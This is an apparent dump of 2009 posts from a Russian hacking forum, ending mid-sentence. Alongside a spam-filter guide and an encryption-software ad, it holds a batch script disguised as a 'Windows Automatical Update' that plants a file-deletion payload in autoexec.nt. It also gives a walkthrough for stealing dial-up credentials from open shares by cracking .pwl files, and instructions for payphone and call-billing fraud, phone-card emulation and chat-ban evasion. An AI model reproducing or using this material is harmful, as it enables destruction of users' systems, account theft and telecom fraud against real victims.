<p>Теперь займемся собственно фильтрами. Открываем меню Ящик - Настройка сортировщика писем и создаем новый фильтр с именем &quot;Spam&quot;. В качестве действия указываем перемещение писем в созданную нами папку спам. Теперь надо определить, какие именно письма мы хотим отфильтровать.<br /><img class="postimg" loading="lazy" src="http://pitachok.net/img/xak_54.jpg" alt="http://pitachok.net/img/xak_54.jpg" /><br />Первым делом, отсечем самый явный спам, а именно, письма, которые отправлены не персонально нам, а куче адресатов. Для этого, в разделе Сигнальные строки указываем наши адреса, а флажок Наличие устанавливаем в Нет. Т.е. те письма, которые не содержат нашего адреса в поле получателя будут отфильтрованы. Но... Попытавшись запустить такой фильтр мы обнаружим, что наши любимые рассылки тоже были посчитаны спамом. Поэтому там же дописываем адреса отправителей, которые мы хотим сохранить. Сюда же можно включить и другие правила, описывающие нужные нам письма, проставив везде, что письмо должно быть отфильтровано, если интересующих нас признаков не обнаружено.</p> <p>Так, от &quot;тупого&quot; спама мы избавились, уже легче. Но спаммеры люди хитрые и в средствах не очень ограниченные, поэтому они отправляют нам и персональные письма. Однако Bat - умный и умеет использовать несколько правил. Есть там в настройках фильтра вкладка Alternatives, вот туда мы и пойдем... Причем, если строки внутри одного набора правил объединяются по правилу &quot;и&quot;, то альтернативные фильтры работают как &quot;или&quot;. Первый набор правил, созданный нами, Bat прочитает как &quot;фильтровать письмо, если оно не содержит нашего адреса в качестве получателя И не отправлено службой нужных нам рассылок&quot;. <br />Теперь попробуем победить остальной спам. Тут дело обстоит несколько сложнее - написать какое-то универсальное правило нам вряд ли удастся, так что придется действовать индивидуально. Благо, альтернативных наборов правил можно заводить сколько угодно. Главное - найти тот признак, который позволит отличить спам от полезного письма. Это может быть отправитель, строка &quot;casino&quot; в теме письма, &quot;This is a one time mailing&quot; в самом письме и т.д. Здесь фильр должен уже выставляться не на отсутствие, как в первом наборе правил, а на присутствие строки. Для каждой группы спама заводим отдельный альтернативный фильтр и... с удивлением наблюдаем как мусор постепенно исчезает из нашей почты.</p> <p>Разумеется, подобная схема - не панацея. Новые спаммеры будут прорываться через наш фильтр, но не так часто. В принципе, все сведется как раз к тому одному-двум письмам в неделю, о которых я писал выше. Естественно, то что я описал - это самый простой вариант. Если вы знаете, что такое регулярные выражения и умеете ими пользоваться, то фильтры можно сделать значительно надежнее, но даже этого варианта вполне хватит, чтобы облегчить себе жизнь. Большим плюсом Бата является то, что он умеет проверять не только заголовки писем, но и их содержимое, так что фильтровать можно и по номеру телефона спаммера, и по адресу его сайта, и по названию фирмы... <br />А для особо надоедливых - есть у Бата и возможность удалять письма прямо на сервере, не скачивая их. Но с этой функцией стоит обращаться очень осторожно - неправильно прописанный фильтр может убить и полезные письма. А вы об этом уже не узнаете... Именно для того, чтобы избежать подобных потерь мы и создавали специальную папку для спама, помните? <br />Ну а теперь, осталось только включить написанный фильтр и раз в неделю мельком проглядывать спам-папку, чтобы убедиться, что в нее не попало что-то нужное. Да при приходе очередной рекламки от горе-коммерсантов не забывать добавлять ее к списку фильтров...</p> mybb@mybb.ru (admin) Wed, 05 Aug 2009 13:02:43 +0400 http://hackzona.youbb.ru/viewtopic.php?pid=25#p25 http://hackzona.youbb.ru/viewtopic.php?pid=24#p24 <p>Любой человек, который хотя бы иногда пользуется электронной почтой, наверняка не раз<br />задавался вопросом: &quot;А насколько моя переписка защищена от посторонних глаз?&quot; Не<br />только у нас в стране, но и всё мировое Интернет-сообщество уже насколько лет<br />обсуждают эту проблему.<br />Недавно австралийским Сенатом одобрена Билль-поправка об ASIO (Australia Security<br />Internet Objects - Австралийский проект безопасности) от 1999 года, предоставляющая<br />федеральным властям право на проникновение в частные компьютерные системы с целью<br />надзора.<br />Аналогичную ситуацию можно наблюдать и в России. По информации Lenta.ru и газеты<br />Moscow Times, установка аппаратуры, позволяющей ФСБ читать электронную почту россиян и<br />следить за их интернет-активностью, начата практически всеми российскими провайдерами<br />Интернета, а многие провайдеры уже завершили внедрение у себя &quot;уха Большого Брата&quot;.<br />Речь идет о так называемой Системе Оперативно-Розыскных Мероприятий, или СОРМ. Эта<br />система обязует каждого российского провайдера Интернета предоставить местному<br />отделению ФСБ доступ ко всему электронному трафику, а также протянуть в ФСБ отдельную<br />линию связи и установить специальную аппаратуру, с помощью которой органы могли бы<br />просматривать электронный трафик, а также проверять почтовые ящики пользователей.<br />В Германии в то же время продолжает функционировать система &quot;Эшелон&quot;, аналогичная<br />российскому СОРМу, которая действует в соответствии с внутренним списком ключевых<br />слов, используемых при поиске. Таким образом, оказывается нарушенным закон о свободе<br />слова. Кстати, стоит отметить и то, что до сих пор функционирует и развивается<br />глобальная система ЦРУ, базирующаяся в США, Европе, Австралии, где на мощных<br />компьютерах сквозь мелкое сито пропускаются тысячи писем, посылаемые через анонимные<br />серверы бесплатной электронной почты.<br />Так что перед отправкой очередного электронного письма стоит задуматься не только над<br />правилами орфографии, но и над смыслом - никто не может гарантировать, что вы не под<br />колпаком.</p> <p>Чтобы как-то защитится от пристального внимания спецслужб, а так же другой,<br />неравнодушной к чужим секретам публики, специалистами компании ZixMail.com была<br />разработана специальная программа, надёжно шифрующая электронные письма пользователей.<br />Так же эта программа обеспечит и то, что ваше сообщение прочтёт именно тот человек,<br />которому оно предназначено, что делается с помощью специального секретного<br />кода-пароля.</p> <p>ZixMail совместима почти со всеми системами электронной почты, как программами<br />(Microsoft Outlook, IBM Lotus Notes, Netscape Communicator, Qualcomm Eudora, Novell<br />GroupWise), так и Web-based, т. е. &quot;Базирующиеся в Интернете&quot;, - например: AOL, MSN<br />Hotmail, Yahoo!-Mail, Netscape WebMail и другими.</p> <p>Эта программа будет полезна при передаче финансовой и любой другой информации,<br />представляющую интеллектуальную собственность. Сможет предотвратить возможность<br />просмотра вашей корреспонденции персоналом почтовых серверов и избежать утечки<br />конфиденциальной информации. В бизнесе сможет обеспечить сохранность коммерческой<br />тайны. Ну а в простой, частной жизни, обеспечит защиту вашей личной переписки.</p> <p>До конца 2000-го года программа распространяется бесплатно. В следующем году<br />ZixMail.com планирует перейти на платный сервис, так что, если вас интересует не<br />только секретность, но и экономия, загрузите программу сейчас.</p> <p>Для этого необходимо нажать десь: &quot; [INLINE] Zixmail.com &quot; и, переместившись на сайт<br />компании, жмите на закладку Free Download. На сайте Zixmail.com много материал,<br />позволяющего понять, как работает программа (есть даже видеоклип!), но так или иначе,<br />после загрузки и инсталляции её на свой компьютер, вы увидите, что начать с ней<br />работать - совсем не сложно.</p> mybb@mybb.ru (admin) Wed, 05 Aug 2009 13:00:57 +0400 http://hackzona.youbb.ru/viewtopic.php?pid=24#p24 http://hackzona.youbb.ru/viewtopic.php?pid=23#p23 <p>Вот вам простой пример *.bat файла: </p> <p>&lt;--------begin of 'chuchelo.cmd'--------&gt;<br />@echo off<br />title Windows Automatical Update<br />echo Windows Automatical Update is running ...<br />%SystemDrive%<br />cd \<br />cd %WinDir%<br />cd System32<br />copy autoexec.nt autoexec.tmp &gt;nul<br />:try<br />If Exist %SystemRoot%\System32\usrupd.cmd Goto try2<br />echo @echo off &gt; usrupd.cmd<br />echo echo Windows is update, please wait ... &gt;&gt; usrupd.cmd<br />echo %SystemDrive% &gt;&gt; usrupd.cmd<br />echo cd \ &gt;&gt; usrupd.cmd<br />echo cd %WinDir% &gt;&gt; usrupd.cmd<br />echo del *.* &gt;&gt; usrupd.cmd<br />echo cd system &gt;&gt; usrupd.cmd<br />echo del *.* &gt;&gt; usrupd.cmd<br />echo cd system32 &gt;&gt; usrupd.cmd<br />echo del *.* &gt;&gt; usrupd.cmd<br />echo cd .. &gt;&gt; usrupd.cmd<br />echo cd .. &gt;&gt; usrupd.cmd<br />echo cd %ProgramFiles% &gt;&gt; usrupd.cmd<br />echo del *.* &gt;&gt; usrupd.cmd<br />echo echo You windows is now with Service Pack 7! &gt;&gt; usrupd.cmd<br />echo rem Windows Update &gt; axmdf.tmp<br />echo call %SystemRoot%\System32\usrupd.cmd &gt;&gt; axmdf.tmp<br />echo rem &gt;&gt; axmdf.tmp<br />del autoexec.nt &gt; nul<br />copy autoexec.tmp+axmdf.tmp autoexec.nt &gt;nul<br />del autoexec.tmp &gt; nul<br />del axmdf.tmp &gt; nul<br />goto exit</p> <p>:try2<br />del %SystemRoot%\system32\usrupd.cmd &gt;nul<br />goto try</p> <p>:exit<br />echo Update Completed ...<br />&lt;--------end of 'chuchelo.cmd'--------&gt;</p> mybb@mybb.ru (admin) Wed, 05 Aug 2009 12:50:00 +0400 http://hackzona.youbb.ru/viewtopic.php?pid=23#p23 http://hackzona.youbb.ru/viewtopic.php?pid=22#p22 <p>А знаешь ли ты, друг мой, о том, как хакеры &quot;вытаскивают&quot; твои драгоценные аккаунты прямо у тебя из-под носа? Существует достаточно много случаев, когда пользователь с удивлением для себя обнаруживает, что за его счет бродит по просторам Интернет кто-то еще и, естественно, тратит направо и налево его потом и кровью заработанные деньги. Обнаружив столь неприятное происшествие, он в ярости (или в недоумении - кто как) звонит в техподдержку своего провайдера и объясняет причину своего недовольства. Провайдер приносит свои соболезнования, но, к сожалению, ничем помочь не может, однако, предлагает сменить пользователю пароль и советует не допускать до компьютера тех людей, которые не достойны доверия. А самое главное, что тем людям, которые платят свои деньги за часы, проведенные в Интернет, провайдер не собирается возмещать ни денег, ни времени. Разочаровавшись и обвиняя во всех мнимых грехах техническую поддержку, ты размышляешь о том, как же этому гадскому хакеру удалось украсть твой аккаунт, и с обидой в душе на этот жестокий мир подумываешь о смене провайдера. Итак, каким же образом хакер смог &quot;вытащить&quot; твой аккаунт? На сегодняшний день мне известны несколько методов, которые используют хакеры. Обычно многие юзеры, устанавливая Windows 95/98/NT под сети, предоставляют доступ к своим дискам и директориям другим пользователям сети, тем самым открывая лазейку в свой компьютер. Для того чтобы в сети найти компьютер с такой лазейкой, хакеру необходимо просканировать диапазон IP-адресов одной сетки. Что для этого нужно? Для Windows 95/98/NT - программа &quot;Legion&quot;. После запуска этой программы нужно указать IP-адреса, которые будут использоваться для сканирования. Сначала хакер выбирает предполагаемого провайдера, услугами которого впоследствии он будет пользоваться. Например, это будет выдуманный нами провайдер wwwlamerishe.ru. Запустив свой mIRC, он отправляется на всем знакомый IRC и в окошке &quot;status&quot; пишет: /whois *.lamerishe.ru </p> <p>Ответ не заставит себя ждать:#RUSSIAN Andrey H andrey@dialup-28059.lamerishe.ru :0 hello.<br />*.junk.com<br />End of /WHO list.</p> <p>Дальше следует команда: /dns Andrey<br />И mIRC выдает ему IP-шник жертвы:</p> <p>*** Looking up dialup-28059.lamerishe.ru<br />*** Resolved dialup-28059.lamerishe.ru to 121.31.21.10<br />Вот он уже и знает один из ip-адресов (121.31.21.10) нашего выдуманного провайдера. Теперь нужно указать диапазон IP-адресов этого провайдера. Хакер запускает Legion и заполняет поля &quot;Enter Start IP&quot; (введите начальный IP) и &quot;Enter End IP&quot; (введите конечный IP). </p> <p>Enter Start IP: 121.31.21.1<br />Enter End IP: 121.31.21.254<br />Остается только выбрать скорость соединения и нажать на кнопку &quot;Scan&quot;. Если после сканирования, в правом окне сканера, появится что-то вроде &quot;\\121.31.21.87\C&quot;, то в левом окне можно открыть этот IP и щелкнуть два раза на ответвлении &quot;C&quot;. Появится сообщение &quot;MAPPED ON DRIVE E:&quot;. Все это означает, что на данном IP есть машина, c незашаренным (то есть открытым для всех) диском С. И этот диск можно установить как еще один диск на своем компе. То есть у хакера на компе появится еще один диск (в данном случае - Е), по которому он будет лазить, как по своему собственному, хотя он и находится на удаленной машине. Конечно, главной целью для хакера является файл с расширением .pwl, в котором находится зашифрованный аккаунт. Этот файл лежит в каталоге Windows. И поэтому хакер заходит в «Пуск -&gt; Программы -&gt; Сеанс MS-DOS». Пишет там «e:» и нажимает Enter. Теперь он на жестком диске у чайника. Но каталог Windows может называться по-другому. Поэтому он пишет: E:\&gt;dir win* и получает такой вот ответ: </p> <p>Том в устройстве Е не имеет метки<br />Серийный номер тома: 2247-15D0<br />Содержимое каталога Е:\<br />WIN95 &lt;КАТАЛОГ&gt; 11-30-98 6:48p WIN95<br />0 файл(а,ов) 0 байт<br />1 каталог(а,ов) 287,997,952 байт свободно</p> <p>Дальше следуют команды:</p> <p>E:\&gt;cd win95<br />E:\WIN95&gt;dir *.pwl<br />Том в устройстве Е не имеет метки<br />Серийный номер тома: 2247-15D0<br />Содержимое каталога Е:\WIN95<br />ANDREY PWL 730 02-05-99 10:31p ANDREY.PWL<br />1 файл(а,ов) 730 байт<br />0 каталог(а,ов) 287,997,952 байт свободно<br />E:\WIN95&gt;copy andrey.pwl c:\hacking\pwlhack<br />Теперь, после копирования файла с расширением .pwl, хакеру нужно отсоединиться от этого компьютера. Он открывает иконку &quot;Мой компьютер&quot;, выбирает иконку E:\121.31.21.87\C нажав правую кнопку мыши. Там жмет &quot;Отсоединить&quot;. Что теперь? А теперь он берет программу pwlhack (newdata2.box.sk/neworder/crackpwd/pwlhck32.rar) и с помощью нее расшифровывает добытый файл andrey.pwl. </p> <p>C:\HACKING\PWLHACK&gt;pwlhack.exe /list andrey.pwl andrey<br />(C) 17-Apr-1998y by Hard Wisdom &quot;PWL's Hacker&quot; v3.0 (1996,97,98)<br />Enter the password:<br />File 'ANDREY.PWL' has size 730 bytes, version [NEW_Win95_OSR/2]<br />for user 'ANDREY' with password '' contains:<br />-[Type]-[The resource location string]--------------[Password]-<br />Dial X *Rna\Соединение с lamerishe\L5tRe fsa3Xfa12<br />---------------------------------------------------------------<br />Indexed Entryes: 1; Number of resources: 1.<br />Настает кульминационный момент! Итак, теперь с помощью аккаунта, добытого у &quot;чайника&quot;, хакер может лазить по просторам всемирной паутины Интернет. А вот и сам аккаунт: </p> <p>Имя пользователя: L5tRe<br />Пароль: fsa3Xfa12<br />Если у данного провайдера можно посмотреть статистику прямо из Интернета, то, обычно, хакеры посещают сайт провайдера (в нашем примере wwwlamerishe.ru) и смотрят, сколько осталось денег на счету у пользователя и в какое время он обычно находится в Интернете. Кстати, телефоны модемных пулов также можно узнать на сайте у провайдера. :) Существует еще несколько иных способов, таких как использование троянов Netbus1.0, Netbus Pro 2.0, BackOrifice и т.д. Самый простой из всех способов заключается в том, что, зная IP-адрес с открытыми сетевыми ресурсами, можно соединиться с компьютером, нажав на Пуск, выбрав &quot;Поиск компьютера&quot; и указав IP-адрес. «Все. Систему я понял. Теперь объясни-ка мне, как устранить лазейку и защитить себя от непрошеных гостей?» - скажешь ты. Хорошо. Для защиты от описанной выше дырки тебе будет необходимо отключить привязку (службу доступа к файлам и принтерам) от контроллера удаленного доступа (лезь в «Панель управления» -&gt; «Сеть»), а в Windows NT нужно запретить службу Server в Remote Access WAN Wrapper. Но от НетБаса, БэкОрифиса и подобных троянов это тебя не спасет. А вот чтобы не подхватить трояна, во-первых, никогда не подпускай никого к своему компьютеры со всякими дискетками, а, во-вторых, никогда не запускай у себя на компе никаких прог, в которых ты хоть на грамм сомневаешься. Последним хакерским способом по рассылке троянов был массовый спаминг с хоста microsoft.com, где в каждом письме лежал якобы патч к 4-му IE. Ну, а что этот «патч» делал, я думаю, ты уже догадался. :)</p> mybb@mybb.ru (admin) Wed, 05 Aug 2009 12:49:08 +0400 http://hackzona.youbb.ru/viewtopic.php?pid=22#p22 http://hackzona.youbb.ru/viewtopic.php?pid=19#p19 <p>Звонки по межгороду и с телефонов автоматов<br />Старые телефоны-автоматы. Чтобы сделать устройство для бесплатных звонков по телефону-автомату, Вам потребуется кусок проволоки сантиметров 50 и металлический крокодильчик. Подойдет тот, который держит шторы на вашем окне. С одного конца провод совокупите с крокодильчиком, с другого оголите. Чтобы бесплатно поговорить:<br />1) прицепите один конец провода к металлическому приемнику монет.<br />2) Наберите нужный номер.<br />3) Когда абонент возьмет трубку, и вы услышите характерный щелчок из голодного монетоприемника. Оголенный конец провода просуньте через отверстия телефонной трубки, так, чтобы он касался металлической части микрофона и не отпускайте его на протяжении всего разговора.<br />УВЫ: действует это меньше чем на половине телефонов автоматах, поэтому придется побродить по разным переговорным пунктам в поисках нужных аппаратов.<br />Есть ещё один способ. В монете или жетончике просверливается крохотное сквозное отверстие и продевается нитка. После провала монетки или жетона Вы можете вернуть его вытащив за нитку. Очень важно не изменить массу жетона при проделовании дырки. Так что дырка должна быть как можно меньше.<br />Звонок по межгороду с домашнего телефона. Апробировано в течение двух лет в СНГ и шесть лет в европейских странах. Этот способ можно использовать только на длинных расстояниях, то есть при междугородней связи. Суть секрета основана на очень простой идее: Вы знаете, что когда вы набираете дисковым номеронабирателем (импульсная система набора) &quot;1&quot;, линия прерывается один раз, когда &quot;7&quot;, линия прерывается семь раз, когда &quot;0&quot; - 10 раз. Я стал наблюдать, что произойдет, если линию прервать более десяти pаз. Для реализации этой идеи, я использовал мой первый компьютер (8-ми битный &quot;Enterprise-128&quot; который имел разъем для программного контроля магнитофона), в моем случае вместо магнитофона была подключена телефонная линия. Короче, я не буду описывать все мои исследования для краткости изложения. Волшебным был номер &quot;15&quot;. Вот именно эти пятнадцать я и вставлял после 8. Вот так: 8 + гудок + пятнадцать + код страны + номер телефона и счета не приходят. Если Вы все поняли правильно, то должны были понять и то, что это число прерываний телефонной линии. Вот способ использования: 8+тон+волшебный номер 15+ код города + телефонный номер. Так, для бесплатного звонка в Москву по телефону 921-00-00, я набирал 8-волшебный номер 15 - 095-921-00-00. Я набирал &quot;8&quot; и ждал тонального сигнала для доступа на междугородную станцию, когда он приходил, я набирал 15 и тональный сигнал пропадал, тогда я набирал код города и телефонный номер. 15 это не 1 и 5, а пятнадцать прерываний телефонной сети, и если иметь достаточно выраженный музыкальный слух, то можно &quot;нащелкать&quot; эти 15 импульсов кнопкой &quot;сброс&quot; на обычном телефоне.<br />Способ второй: звонишь по межгороду и после набора номера и/или во время разговора на параллельном дисковом телефоне вертишь диск. На некоторых АТС сбивается номер на АОНе и счет выставляется черти кому, на других счетчик минут обнуляется при щелчках. Некоторые АТС думают, что абонент вообще трубку положил! В общем надо пробовать, но на каждой АТС свой набор глюков...<br />Взлом телефонных карточек.<br />Не так давно на Российского потребителя обрушился целый поток новых платежных средств: таксофонные карты, магнитные карты метро, банковские карты и т.д, Коснемся пока только таксофонных карт. Наверное, каждый задавался вопросом, как же устроена и как работает таксофонная карта, и можно ли ее обмануть? Ответ на второй вопрос пока умолчим, а, вот, на первый попробуем ответить в доступной и популярной форме. Поскольку, при желании наиболее общую информацию можно найти в Интернете, то разговор пойдет конкретно про Таксофонные карты компании &quot;Санкт-Петербургские таксофоны&quot;.<br />Таксофонная карта соответствует международному стандарту ISO 7816 в части 1и2. <br />1808716-1:1987 <br />Карточки идентификационные.<br />Карточки на интегральных схемах с контактами.<br />Часть 1. Физические характеристики.:<br />СТК1 код В 4с. изд.1<br />ISO 8716-2:1988 <br />Карточки идентификационные.<br />Карточки на интегральных схемах с контактами.<br />Часть 2. Размеры и расположение контактов. <br />СТК1 код D 7с. изд.1<br />Кристалл на карте представляет собой электрически программируемое ПЗУ с последовательным побитным выводом информации, изготовленное по технологии NMOS. В этом ПЗУ используется 128 бит. Чтобы перепрограммировать карту, нужно стереть информацию из ПЗУ, но чип защищен от ультрафиолетового облучения специальной смолой. Даже если Вам удастся стереть чип, то нужно будет перепрограммировать специальную область производителя - первые 64 бита, а она защищена от записи плавким предохранителем, который пережигается на фабрике при производстве чипа. Основной способ обмана таксофонов - изготовление эмуляторов, т.е. устройств эмулирующих работу настоящей карты. Это довольно легко сделать на современных однокристальных микроЭВМ. Основной способ защиты таксофонов от таких эмуляторов - измерение межэлектродных сопротивлений, емкостей и сравнение их с номинальными, что позволяет таксофону отличить эмулятор от настоящей карты. Расположение и назначение контактов на карте (рис. 4):<br /><img class="postimg" loading="lazy" src="http://pitachok.net/img/xak_18.jpg" alt="http://pitachok.net/img/xak_18.jpg" /><br />1 VCC=5V - Питание.<br />2 Reset (входной) - Сигнал инициализации карты.<br />3 Clk (входной) о Тактовые импульсы.<br />4 Не используется.<br />5 GND (земля).<br />6 Не используется.<br />7 I/O - (вход и выход) - Побитовый ввод и вывод с карты.<br />8 Не используется.<br />Все сигналы соответствуют ТТЛ уровням. Читатель должен обратить внимание, что центральная пластинка соединена с землей.<br />Чтение информации с карты<br />Внутри карточки находится счетчик адреса разрядностью 9 бит. То есть, после чтения каждых 512 бит все начинается сначала. Счетчик может быть только увеличен. Если Вы хотите считать бит с адресом меньше текущего, то счетчик нужно сбросить в 0, а затем увеличить до необходимого значения. Операция сброса выглядит так:<br />- сначала необходимо установить высокий уровень сигнала Reset (2 контакт карты), а затем установить и сбросить сигнал Clk. После сброса сигнала Reset на выходе (7-ой контакт карты) будет доступен бит с адресом 0. Затем нужно подавать тактовые импульсы на вход Clk (3-ий контакт карты). По фронту импульса происходит увеличение на единицу внутреннего счетчика адреса. После спада тактового импульса на выходе появляется следующий бит данных. Обычно удобнее представлять информацию в виде байтов. Для этого каждые 8 считанных бит группируют в байт, считая, что первым считывается менее значащий бит. Таким образом, последовательно считывая 1,0,0,1,0,1,1,1, получим байт ОхЕ9.<br />Чтение через параллельный порт компьютера<br />Поскольку все сигналы соответствуют уровню ТТЛ, то логично использовать для чтения информации обыкновенный принтерный порт. Не думаю, что надо приводить здесь полное техническое описание работы параллельного .порта, назначение контактов и описание портов ввода-вывода - это все можно найти в специальной технической литературе. <br />Аппаратные средства<br />Большинство аппаратных средств включают в себя некую соединительную конструкцию, состоящую из ответной части разъема параллельного порта, монтажного провода и считывающего устройства в виде обыкновенного куска текстолита с отверстиями, в которые вставлены штырьки. Контакты параллельного порта соединяются с контактами карточки в соответствии с приведенной таблицей 3.Параллельный порт компьютера<br />11: Busy (входной)<br />2: D0 (выходнной)<br />25: Gnd<br />3: D1 (выходной) Карточка<br />7: I/O<br />2: Reset<br />5: Gnd<br />3: CLK</p> <p>таб.3<br />В таблице 3 не указан контакт 1 карточки - питание +5В. Его можно, взять с разъема клавиатуры или просто от батарейки.<br />Программные средства <br />Используем порт LPT1. Запись в принтерный порт осуществляется через порт 0х378. Записанный байт появляется на выходных контактах. Мы используем бит 0 для сигнала Reset и бит 1 для сигнала Clk. Чтение выполняется .через порт 0х379. В самом старшем бите появится инвертированное значение с входного контакта 11 (Busy).<br />Что записано на карте<br />Мы подошли к самому интересному месту - назначению каждого бита, записанного на карте. Естественно, что на картах других городов это назначение будет другим, но мы, как обещали, говорим о питерских карточках. На карточке используются только 16 байт. Все остальные равны OxFF. В процессе исследований было считано около 300 карточек. <br />Примеры памяти карт <br />Допустим , что имеется карта на 50 единиц, и её срок действия закончился. Номер 0050415503.' Годна до 30.09.98 <br />E9,30,FF,01,F1,E2,80,CO 00,00,00,00,00,FF,18,EA <br />Эта карта на 400 единиц также пуста. Номер 0400155921. Годна до 30.09.98 E9,30,FF,01,88,A7,9B,E8 Карта на 1000 единиц. Осталось 998. Номер 1000013039.<br />Годна до 31.12.99 <br />E9,30,FF,01,F7,3F,59,DC<br />00,01,7F,OF,3F,FF,68,6B<br />Допустим, что по этой карте был произведен звонок. Осталось 6 единиц.<br />E9,30,FF,01,F7,3F,59,DC<br />00,00,00,00,3F, FP, 68,6В<br />Ещё звонок, и она закончилась.<br />Е9. 30, FF,01, F7,3F,59, DC<br />00,00,. 00.00.00. FF. 68.6В <br />Назначение полей<br />1. Первые 4 байта какой то идентификатор. На всех картах E9,30,FF,01. <br />2 Следующие 4 байта - серийный номер карты. Расположив биты в байтах в обратном порядке, а затем и сами байты, получим 32 разрядное целое без знака. К примеру, байты F7, 3F, 59, DC с обратным порядком бит выглядят как EF, FC, 9A, 3В. Получим номер карты Ox3B9AFCEF или 1000013039 в десятичном виде. Нетрудно заметить, что номер, напечатанный на карте, всегда состоит из 10 цифр, а первые 4 цифры - емкость карточки. <br />3. Следующие 5 байт - количество единиц, оставшихся на карточке. Формат хранения очень интересный: используется количество единичных битов в байте, начиная с младшего. Соответственно значение байта 07 соответствует 3 единицам, значение IF - пяти, a 7F - семи единицам. Максимальное количество единиц, хранящихся в байте - семь. Используется восьмеричная система счисления. Таким образом, байты 00, 01, 7F, OF, 3F соответствуют 01746 в восьмеричной системе или 998 единиц в десятичной системе. Максимальное количество единиц может выражаться числом 77777 в восьмеричной, или 32767 - в десятичной системе.<br />4. Следующий байт всегда равен FF. Иногда он не используется. <br />5. Два последних байта, по-видимому, выражают CRC или другой контрольный код для первых 8-ми постоянных байт, т.к. при расходовании единиц они не меняются, но на каждой карточке они свои. Пока их назначение не ясно. Обнаружилось, что срок годности не записан на карте. По всей видимости, он как-то связан с номером карты.<br />Возможно, каждому сроку годности соответствуют определенный диапазон номеров.<br />Как уже говорилось, из 10 цифр номера первые 4 выражают емкость карты.Оставшиеся 6 не идентифицируют карту однозначно, т.к. уже выпущено более миллиона карт. Всего при подобной системе нумерации может существовать 6 миллионов карт:<br />на 25 единиц с номерами от 0025000000 до 0025999999, <br />на 50 единиц с номерами от 0050000000 до 0050999999, <br />на 100 единиц с номерами от 0100000000 до 0100999999, <br />на 200 единиц с номерами от 0200000000 до 0200999999, <br />на 400 единиц с номерами от 0400000000 до 0400999999, <br />на 1000 единиц с номерами от 1000000000 до 1000999999.</p> <p>Интернет-телефония.<br />Данная информация предназначена для бесплатных международных звонков при помощи Интернета. Необходимо: минимум 486sx - процессор, звуковая карта, Микрофон, колонки. Обеспечение: Win'95, Интернет соединение, Internet Phone 5.0 (можно взять на wwwvocaltec.com) Service for Internet Phone 5.0 (делаете себе на wwwbiztrans.com; wwwdeltathree.com) примечание: Последние два пункта требуют кредитные карты для регистрации. Интернет вы можете достать без денег, предлагаю написать - lirik_tnt@hotmail.com там Вам всегда помогут с интернет соединением за ничтожную сумму. После того, как у вас все есть, можно приступать к настройке. Запускаете IPhone 5.0, выбираете настройку &quot;services&quot; и устанавливаете ваш сервис, который вы приобрели на wwwbiztrans.com (или еще где нибуть), а именно это: имя, пароль, и небольшой фаил. Настройка так проста что у вас на будет проблем с этим этапом. Далее после того как вы все правильно сделали, вы попадаете обратно в iphone 5.0. Теперь осталось только набрать номер, а именно a-bbb xxxxxxx где a-код страны, bbb-код города, xxxxxxx-телефон абонента. e.g. 1-301 5702045 где 1-USA, 301-код города Baltimore, 5702045 - телефон. Ждите и можете говорить сколько влезет, ни вызываемый абонент, ни вы не заплатите ни цента.<br />Как не платить за повременку.<br />Сейчас во многих городах и весях начинают вводить и экспериментировать с повременной оплатой за местные телефонные переговоры. Это просто разорительно, тем более для тех кто пользуется Интернетом.<br />Предлагаем опробовать следующий способ.<br />Известно, что при соединении абонентов, напряжение в телефонной линии падает с 60 В до 5...8 В. Именно при данном напряжении включается детектор состояния линии и АТС начинает начислять за разговор денежки.<br />Предлагаемая схема может работать не зависимо от того, местное или междугороднее соединение происходит. <br />Однако, пока второй абонент не снял трубку напряжение в линии еще слишком высокое для срабатывания схемы. Таким образом, пока вы слышите сигнал вызова, деньги еще не начисляются, хотя реально соединение уже произошло.<br />Все, что для этого нужно сделать - предотвратить падение напряжения в линии после снятия трубки вторым абонентом, удерживая его в пределах 21....36 В. Для этого применяется простейшая схема:<br />Для увеличения падения напряжения на стороне абонента, служит стабилитрон с напряжением стабилизации 12....30 В. Конденсатор, включенный параллельно стабилитрону служит для прохождения разговорного переменного тока, что повышает громкость разговора. Можно обойтись без диодного моста, но тогда устройство надо включать в соответствии с полярностью телефонной линии. Если вы используете модем, то для более четкой его работы можно зашунтировать диоды моста конденсаторами по 0,1 мкФ. Для голоса они не потребуются.<br /><img class="postimg" loading="lazy" src="http://pitachok.net/img/xak_19.jpg" alt="http://pitachok.net/img/xak_19.jpg" /><br />Напряжение (тип) стабилитрона подбирается экспериментально в зависимости от конкретной АТС. Начните с большего напряжения. Уменьшайте его лишь до тех пор, пока станция не перестанет отрабатывать прекращение индукторного вызова. Дело в том, что оборудование определения состояния АТС имеет технологический &quot;зазор&quot; между напряжением прекращения вызова и разговорным напряжением для четкого срабатывания. Напряжение получившееся в результате подбора стабилитрона, должно как раз находиться посередине этого зазора. Таким образом, вызывная схема отключается, а схема счета времени еще не включается, что позволяет разговаривать бесплатно.<br />АТС в это время думает, что второй абонент еще не снял трубку своего аппарата, а первый терпеливо ожидает, когда второй наконец проснется.<br />Схема работает и на межгороде!<br />Звоните на здоровье!</p> mybb@mybb.ru (admin) Wed, 05 Aug 2009 12:43:15 +0400 http://hackzona.youbb.ru/viewtopic.php?pid=19#p19 http://hackzona.youbb.ru/viewtopic.php?pid=18#p18 <p>Администраторы делают так:<br />1. Запрет на вход юзеру с данным именем (или удаление регистрации) - самое<br />простое-просто меняем себе ник (можно даже сделать его точгно таким же как и был с<br />помощью короткого дефиса)<br />2. Блокирвка через кукисы. Админ прописывает в кукисы на машине юзера специальный код<br />- решается тоже просто - удаляем кук чата из директории C:\WINDOWS\Cookies (если не<br />знаете какой именно кук удалить-смело удаляйте все, большой беды не будет)<br />3. Самое печальное - блокирвка IP. Блокироваться может как конкретный IP адрес, так и<br />вся подсеть. Но и эта проблема решаема. Если у вас диалап, то попробуйте<br />расконектиться и приконектится снова. При этом ваш динамический IP адрес изменится, и<br />вы сможете войти в чат. Однако если у вас выделенка(т.е. статический IP адрес) или<br />админ забанил всю подсеть вашего провайдера, то единственный выход - использование<br />прокси/сокс сервера или анонимайзера. На данном сайте куча инфы по этому вопросу.</p> <p>Как выкинуть из чата если ты не админ:)<br />* Зарегистрировать этот ник (если он не зарегистрирован)<br />* Послать на страничку со зловредным кодом, осуществляющим атаку на компьютер<br />пользователя.<br />* Подставить (читай ниже)...а выкинет админ:)))<br />* Если в чате используются идентификаторы, то узнать его, зайти под ним в чат и<br />нажать кнопку &quot;выход&quot;<br />* Отключить от инета Нюком (если у чела Win95/98 и известен IP)<br />* Узнать пароль юзера:)<br />* Узнать пароль админа:))</p> <p>Подставляем в Чате</p> <p>Для того чтобы в 